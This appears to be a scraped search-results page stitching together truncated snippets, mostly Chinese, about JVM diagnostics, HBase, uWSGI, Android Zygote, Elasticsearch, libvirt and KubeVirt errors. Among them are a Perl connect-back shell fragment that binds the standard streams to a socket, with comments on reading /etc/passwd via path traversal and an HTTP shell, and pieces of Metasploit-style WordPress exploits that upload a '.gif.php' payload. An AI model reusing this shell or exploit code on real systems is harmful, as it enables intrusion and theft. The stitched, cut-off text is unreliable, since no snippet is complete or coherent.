2012年11月28日 出现故障，" Unable to get data of znode /hbase/root-region-server" 问题比较诡异，两个机房，只有一个机房故障，5台服务器相续故障...1）分析步骤： 1 jstack jmap 查看是否有死锁、block或内存溢出 jmap 看内存回收状况没有什么异常，内存和CPU占用都不多 jstack pid > test.log pid: Unable...to open socket file: target process not responding or HotSpot VM not loaded The -F option can be used...when the target process is not responding 出现这种错误，使用-F参数 jstack -l -F pid >jstack.log jstack...warn.log中报告Interrupted异常 是由上述死锁引起的 2012-11-28 20:06:17 [WARN] hconnection-0x4384d0a47f41c63 Unable to
大体的原理可以用下面的公式描述：Client(Java compile api + attach api) + Agent（脚本解析引擎 + ASM + JDK6 Instumentation） + Socket...注意问题 如果出现 Unable to open socket file: target process not responding or HotSpot VM not loaded 这个问题，可能的原因是执行
file /root/yzq/djangos/testdata/Testdata/wsgi.py unable to load app 0 (mountpoint='') (callable not...*** Operational MODE: preforking *** failed to open python file /root/yzq/djangos/testdata/Testdata/wsgi.py...April 2018 04:11:16 os: Linux-3.10.0-514.26.2.el7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC 2017 nodename: VM...python file /root/yzq/djangos/testdata/Testdata/wsgi.py unable to load app 0 (mountpoint='') (callable...python file /root/yzq/djangos/testdata/Testdata/wsgi.py unable to load app 0 (mountpoint='') (callable
process through Zygote failed"); throw new RuntimeException( "Starting VM process.../省略部分代码 /* * Start VM....Returns * a boolean status value indicating whether an end-of-file on the command * socket...end-of-file has been encountered...() call which closes * the socket and substitutes an open descriptor to /dev/null.
privileged networking configuration） 小（unprivileged networking configuration） 发生场所 the virt-handler process...file` *volumeMounts = append(*volumeMounts, k8sv1.VolumeMount{ Name: "shared-dir", MountPath...domainIface.Source = api.InterfaceSource{ Type: "unix", Path: vhostPath, Mode: vhostMode, } domainIface.Target...iface.NetworkStatus.DeviceInfo.VhostUser.Path, iface.NetworkStatus.DeviceInfo.VhostUser.Mode, nil } } err := fmt.Errorf("Unable...即使重新启动OVS也不会影响VM，因为OVS可以在重新启动后连接到socket，OVS支持重启后自动重新连接。
; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable...(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "--== ConnectBack...8008 # ->SHELLPASSWORD{ENTER}{ENTER} # 2. download files # http://target:8008/file?.../etc/passwd # or # http://target:8008/file?../some/file # 3. http shell # http://target:8008/shell?...CONN "Content-type: text/plain\n\n"; open (HTTPFILE,$file) || goto M2; while() { print CONN
(TM) 64-Bit Server VM, Java 1.8.0_112) Type in expressions to have them evaluated....org.apache.hadoop.yarn.server.resourcemanager.RMAuditLogger: USER=root OPERATION=Application Finished - Failed TARGET...Diagnostics: File file:/tmp/spark-b465ad00-e218-48b0-a85a-c00907c5015f/__spark_libs__8229958103392672487....zip does not exist java.io.FileNotFoundException: File file:/tmp/spark-b465ad00-e218-48b0-a85a-c00907c5015f...(TM) 64-Bit Server VM, Java 1.8.0_112) Type in expressions to have them evaluated.
你需要安装下面的这些东西的 freeglut3-dev mesa-common-dev libudev-dev libxext-dev libxinerama-dev libxrandr-dev libxxf86vm-dev...: x86_64-apple-darwin15.0.0 Thread model: posix 反正都是会报错的: ld: warning: object file (Release/obj.target...for newer OSX version (10.7) than being linked (10.5) ld: warning: object file (Release/obj.target/hmd...(10.7) than being linked (10.5) ld: warning: object file (Release/obj.target/hmd/src/platform/mac/LibOVR...open() { console.log('connected'); });// On socket connection set up event emitters to automatically
创建了LocalServerSocket对象，来创建本地的服务socket，并将其值保存在全局变量mServerSocket中。...drop root", ex); } droppedPriviliges = true; } // Alter the target...gOpenFdTable->Restat(fds_to_ignore)) { RuntimeAbort(env, __LINE__, "Unable to restat file descriptor...all remaining open file descriptors so that they aren't shared // with the zygote across a fork...., "system_server"); File profile = new File(profileDir, "primary.prof");
本人在elasticsearch 5.x, 6.x 安装过程中遇到了一些问题： 警告提示 [2016-11-06T16:27:21,712][WARN ][o.e.b.JNANatives ] unable...ERROR: bootstrap checks failed max file descriptors [4096] for elasticsearch process likely too low,...soft nproc 1024 #修改为 * soft nproc 4096 第三条错误需要切换到root用户修改配置sysctl.conf vi /etc/sysctl.conf 添加下面配置： vm.max_map_count...启动问题 **1、Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000085330000, 2060255232...=655360" >>/etc/sysctl.conf 4、max file descriptors [65535] for elasticsearch process likely too low,
This socket is bound to a file in the filesystem so that clients can access it....On Linux and Solaris, the client creates a file named .attach_pid(pid) and sends a SIGQUIT to the target...JVM process....The existence of this file causes the SIGQUIT handler in HotSpot to start the attach listener thread....process.
final NiFiServer nifiServer; private final BootstrapListener bootstrapListener; // RunNiFi进程的Socket...的监听端口 NIFI进程将本进程的Socket监听端口和pid传 给RunNIFI ，RunNIFI便可以传达指令 final String bootstrapPort = System.getProperty...mef); } }); } catch (IOException ioe) { LOGGER.warn("Unable...maxOccurrencesOutOfRange) { LOGGER.warn("NiFi has detected that this box is not responding...without a filename", KEY_FILE_FLAG); throw new IllegalArgumentException("The bootstrap process
to insufficient file type validation....'page' => 'catch-themes-demo-import' } }) fail_with(Failure::Unreachable, 'Site not responding...[a-z0-9]{10})"/ =~ res.body fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce...multipart_form.bound}", 'data' => multipart_form.to_s ) fail_with(Failure::Unreachable, 'Site not responding...') unless res fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads.
性能监控与故障处理工具 2.1 JDK 自带工具 JDK 自带的几个常用工具如下： 名称 主要作用 jps JVM Process Status Tool, 显示指定系统内所有的 HotSpot 虚拟机进程...Error attaching to process: sun.jvm.hotspot.debugger.DebuggerException: Can't attach symbolicator to...the process sun.jvm.hotspot.debugger.DebuggerException: sun.jvm.hotspot.debugger.DebuggerException: Can't...: Can't attach symbolicator to the process at sun.jvm.hotspot.debugger.bsd.BsdDebuggerLocal.attach0(...dashboard Overview of target jvm's thread, memory, gc, vm, tomcat info.
keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file...if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup...UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable...vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to...payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file
Status Tool 显示指定系统内所有的HotSPot虚拟机进程 jstat JVM Statistics Monitoring Tool 用于手机HotSpot虚拟机个方面的运行数据 jinfo...identifier for the target Java virtual machine, typically a process id; is...the name of the host running the target Java virtual machine; and is the port number for the rmiregistry on the target host....the named VM flag to the given value -flags to print VM flags -sysprops
= JNI_OK) ALOGW("Warning: unable to detach main thread\n"); if (mJavaVM->DestroyJavaVM()...propBuf, "int:jit") == 0) { executionMode = kEMJitCompiler; } parseRuntimeOption("dalvik.vm.stack-trace-file...propBuf, "true") == 0) { addOption("-Xmethod-trace"); parseRuntimeOption("dalvik.vm.method-trace-file...:"); parseRuntimeOption("dalvik.vm.method-trace-file-siz",...* * The JavaVM* is essentially per-process, and the JNIEnv* is per-thread.
drive-virtio-disk0,format=qcow2: could not open disk p_w_picpath /dev/sp1368155439693/v1368544020461:...四、Unable to load library 'virt': libvirt.so Unable to load library 'virt': libvirt.so: cannot open shared...object file: No such file or directoryLinux下解决： ln -s /usr/lib/libvirt.so.0 /usr/lib/libvirt.so...cannot acquire state change lock (启动虚拟机有时也会遇此错误）,需要重启libvirtd进程 九、virsh error: Failed to connect socket...refused(libvirtd 进程没有启动，libvirtd是一个监听客户端请求的进程）# virsh -c qemu:///system listerror: Failed to connect socket
接下来看下open 的内容，这时候就会进入内核，因为binder驱动定义了自己的open，ioctl，mmap方法。...因为上层是先调用的open，因此看下这儿binder_open的实现： static int binder_open(struct inode *nodp, struct file *filp) {...接下来需要看下一个关键的地方，就是mmap，对应的实现就是binder_mmap: static int binder_mmap(struct file *filp, struct vm_area_struct...vma->vm_flags |= VM_DONTCOPY | VM_MIXEDMAP; vma->vm_flags &= ~VM_MAYWRITE; vma->vm_ops = &binder_vm_ops...= 0; /* Don't pass uninitialized stack data to a remote process */ tr.target.handle = handle; //
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